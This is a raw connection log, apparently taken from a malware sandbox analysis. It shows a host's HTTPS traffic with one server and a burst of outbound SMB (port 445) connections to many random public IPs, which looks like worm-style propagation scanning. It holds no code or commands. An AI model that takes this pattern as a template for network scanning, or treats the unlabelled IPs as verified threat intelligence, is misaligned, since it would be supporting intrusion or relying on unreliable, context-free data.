Jul 20, 2022 19:09:01.150568008 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.150593042 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.185091019 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.185245037 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.248903990 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.251163006 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.251341105 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.270101070 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.270148993 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.270179987 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.270423889 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.270452976 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.270560980 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.271574974 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.271615982 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.271665096 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.271816969 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.271838903 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.271879911 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.271917105 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.273725986 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.273765087 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.273941994 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.273964882 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.276170015 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.286712885 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.286761045 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.286832094 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.286881924 CEST	53448	445	192.168.2.7	59.215.22.223
Jul 20, 2022 19:09:01.286911964 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.286936998 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.286986113 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.287019014 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.287444115 CEST	53449	445	192.168.2.7	196.105.163.109
Jul 20, 2022 19:09:01.287966013 CEST	53450	445	192.168.2.7	199.240.149.196
Jul 20, 2022 19:09:01.288360119 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.288400888 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.288491964 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.288511038 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.288543940 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.288577080 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.289712906 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.289743900 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.289840937 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.289860010 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.290477991 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.290605068 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.290620089 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.292109013 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.303533077 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.303580999 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.303863049 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.303888083 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.304414988 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.304451942 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.304668903 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.304687977 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.305027008 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.305179119 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.305299997 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.306449890 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.306488991 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.306679010 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.306698084 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.306937933 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.308310986 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.308357000 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.308490992 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.308510065 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.308556080 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.308640003 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.309199095 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.309340954 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.310328960 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.310367107 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.310517073 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.310534000 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.310574055 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.312249899 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.312283993 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.312339067 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.312359095 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.312375069 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.312382936 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.312402010 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.312410116 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.312446117 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.312491894 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.314285994 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.314328909 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.314419985 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.314440966 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.314501047 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.319118977 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.319159031 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.319320917 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.319344044 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.319402933 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.319495916 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.319510937 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.320123911 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.321125031 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.321160078 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.321269989 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.321289062 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.322089911 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.322165012 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.322201014 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.322252989 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.322264910 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.322329044 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.322732925 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.322849035 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.323987007 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.324023962 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.324112892 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.324132919 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.324168921 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.324187040 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.324970961 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.325006962 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.325071096 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.325073004 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.325093985 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.325143099 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.325186014 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.326476097 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.326513052 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.326601028 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.326620102 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.326654911 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.326682091 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.328080893 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.328119040 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.328218937 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.328241110 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.328515053 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.328603029 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.328617096 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.329422951 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.329458952 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.329526901 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.329544067 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.329560995 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.329602003 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.330413103 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.330450058 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.330555916 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.330574036 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.330645084 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.330682993 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.330693007 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.330720901 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.330787897 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.331640959 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.331675053 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.331764936 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.331779957 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.332114935 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.332585096 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.332622051 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.332698107 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.332710981 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.332798004 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.333385944 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.333479881 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.334296942 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.334332943 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.334383965 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.334400892 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.334417105 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.334455967 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.335315943 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.335354090 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.335427999 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.335443020 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.335462093 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.335469961 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.335540056 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.335546017 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.349416971 CEST	53455	445	192.168.2.7	101.192.205.174
Jul 20, 2022 19:09:01.384834051 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.384865999 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.387609005 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.388035059 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.388066053 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.401928902 CEST	53458	445	192.168.2.7	174.103.181.222
Jul 20, 2022 19:09:01.402030945 CEST	53459	445	192.168.2.7	100.169.13.85
Jul 20, 2022 19:09:01.402570009 CEST	53460	445	192.168.2.7	48.123.202.149
Jul 20, 2022 19:09:01.402601004 CEST	53461	445	192.168.2.7	164.249.204.153
Jul 20, 2022 19:09:01.402734995 CEST	53462	445	192.168.2.7	51.150.166.6
Jul 20, 2022 19:09:01.402749062 CEST	53463	445	192.168.2.7	108.113.223.11
Jul 20, 2022 19:09:01.402842999 CEST	53464	445	192.168.2.7	39.79.11.138
Jul 20, 2022 19:09:01.402889013 CEST	53465	445	192.168.2.7	45.116.165.147
Jul 20, 2022 19:09:01.403014898 CEST	53468	445	192.168.2.7	140.241.136.214
Jul 20, 2022 19:09:01.403105021 CEST	53470	445	192.168.2.7	190.154.95.210
Jul 20, 2022 19:09:01.403131962 CEST	53471	445	192.168.2.7	65.45.138.32
Jul 20, 2022 19:09:01.403229952 CEST	53472	445	192.168.2.7	132.106.83.91
Jul 20, 2022 19:09:01.403299093 CEST	53474	445	192.168.2.7	146.47.47.174
Jul 20, 2022 19:09:01.403476954 CEST	53478	445	192.168.2.7	24.161.135.245
Jul 20, 2022 19:09:01.403486013 CEST	53480	445	192.168.2.7	60.82.89.60
Jul 20, 2022 19:09:01.403600931 CEST	53481	445	192.168.2.7	179.3.185.93
Jul 20, 2022 19:09:01.403645039 CEST	53482	445	192.168.2.7	111.59.53.203
Jul 20, 2022 19:09:01.416214943 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416238070 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416253090 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416331053 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416341066 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416356087 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416507006 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416522026 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416543961 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416549921 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416577101 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416611910 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416642904 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416654110 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416673899 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416701078 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416724920 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416740894 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416758060 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416769981 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416800022 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416807890 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416821957 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416858912 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416879892 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.416887999 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416918993 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.416958094 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417000055 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417018890 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417141914 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417157888 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417176008 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417270899 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417330027 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417417049 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417459965 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417473078 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417532921 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417541981 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417567968 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417592049 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417614937 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417644978 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417694092 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417702913 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417720079 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417797089 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417821884 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417833090 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417903900 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.417938948 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.417974949 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.418010950 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.418020010 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.418044090 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.418061972 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.419811964 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.419831991 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.419977903 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.420532942 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.420552969 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.420579910 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.420725107 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.420737028 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.420751095 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.420828104 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.420839071 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.420908928 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.420918941 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.420995951 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.421008110 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.421107054 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.421117067 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.421190023 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.421200037 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.421279907 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.421288967 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.421343088 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.421350956 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.421453953 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.421463966 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.421572924 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.421582937 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.421637058 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422046900 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422064066 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422086954 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422103882 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422214985 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422230005 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422244072 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422276020 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422292948 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422300100 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422331095 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422342062 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422354937 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422403097 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422414064 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422435045 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422447920 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422454119 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422458887 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422498941 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422508001 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422552109 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422589064 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422602892 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422615051 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422635078 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422663927 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422673941 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422683954 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422713995 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422723055 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422743082 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422749996 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.422772884 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422802925 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.422884941 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.423295021 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.423309088 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.423330069 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.423338890 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.423453093 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.423497915 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.423810005 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.423819065 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.423831940 CEST	443	53444	80.67.82.211	192.168.2.7
